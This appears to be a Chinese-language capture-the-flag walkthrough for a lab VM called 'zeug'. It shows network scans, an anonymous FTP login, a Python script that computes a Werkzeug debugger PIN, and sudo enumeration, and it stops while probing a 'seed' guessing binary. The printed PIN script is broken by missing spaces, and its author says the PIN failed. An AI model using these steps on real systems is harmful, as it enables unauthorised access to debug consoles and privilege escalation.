❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.147 08:00:27:36:01:d3 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ed:2f:2b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.113 seconds (121.15 hosts/sec). 4 responded ❯ export ip=192.168.60.147 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.147:21 Open 192.168.60.147:5000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 22:08 CST Initiating ARP Ping Scan at 22:08 Scanning 192.168.60.147 [1 port] Completed ARP Ping Scan at 22:08, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:08 Completed Parallel DNS resolution of 1 host. at 22:08, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 22:08 Scanning 192.168.60.147 [2 ports] Discovered open port 21/tcp on 192.168.60.147 Discovered open port 5000/tcp on 192.168.60.147 Completed SYN Stealth Scan at 22:08, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.147 Host is up, received arp-response (0.00047s latency). Scanned at 2025-04-21 22:08:24 CST for 0s PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 5000/tcp open upnp syn-ack ttl 64 MAC Address: 08:00:27:36:01:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
Detected Plugins: [ HTML5 ] HTML version 5, detected by the doctype declaration
[ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header.
String : Werkzeug/3.0.1 Python/3.11.2 (from server string)
[ Python ] Python is a programming language that lets you work more quickly and integrate your systems more effectively. You can learn to use Python and see almost immediate gains in productivity and lower maintenance costs.
Version : 3.11.2 Website : http://www.python.org/
[ Werkzeug ] Werkzeug is a WSGI utility library for Python.
Version : 3.0.1 Website : http://werkzeug.pocoo.org/
❯ ftp anonymous@$ip Connected to 192.168.60.147. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||8873|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 109 Jan 06 2024 README.txt 226 Directory send OK. ftp> get README.txt local: README.txt remote: README.txt 229 Entering Extended Passive Mode (|||57703|) 150 Opening BINARY mode data connection for README.txt (109 bytes). 100% |*****************************| 109 85.49 KiB/s 00:00 ETA 226 Transfer complete. 109 bytes received in 00:00 (46.44 KiB/s) ftp> exit 221 Goodbye. ❯ cat README.txt Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches. 嗨，Cosette，请不要忘记在 Web 应用程序中禁用调试模式，我们不希望发生安全漏洞。
import hashlib from itertools import chain probably_public_bits = [ 'cosette', 'flask.app', 'Flask', '/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py' ] private_bits = [ '8796750873043', '48329e233f524ec291cce7479927890bzeug-app.service' ] h = hashlib.sha1() # or hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') #h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num print(rv)
在我环境下有问题，pin码一直不正确😫
用户提权
用户cosette拥有sudo权限
1 2 3 4 5 6 7 8
cosette@zeug:~/zeug$ sudo -l Matching Defaults entries for cosette on zeug: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User cosette may run the following commands on zeug: (exia) NOPASSWD: /home/exia/seed
可以执行exia用户家目录下的seed
不过我们没有权限访问
1 2 3 4 5 6
cosette@zeug:/home$ ls -al total 16 drwxr-xr-x 4 root root 4096 Jan 6 2024 . drwxr-xr-x 18 root root 4096 Jan 6 2024 .. drwx------ 4 cosette cosette 4096 Jan 7 2024 cosette drwx------ 3 exia exia 4096 Jan 6 2024 exia
伪随机数攻击
好在cosette家目录下存在一个备份文件
好像是个猜数字的小游戏
1 2 3 4 5 6 7 8 9 10 11 12
cosette@zeug:~$ ./seed_bak ******************************************** * Hi, Cosette, it's time to plant the seed * ******************************************** Enter a number: aaa Wrong. cosette@zeug:~$ ./seed_bak ******************************************** * Hi, Cosette, it's time to plant the seed * ******************************************** Enter a number: 123 Wrong.
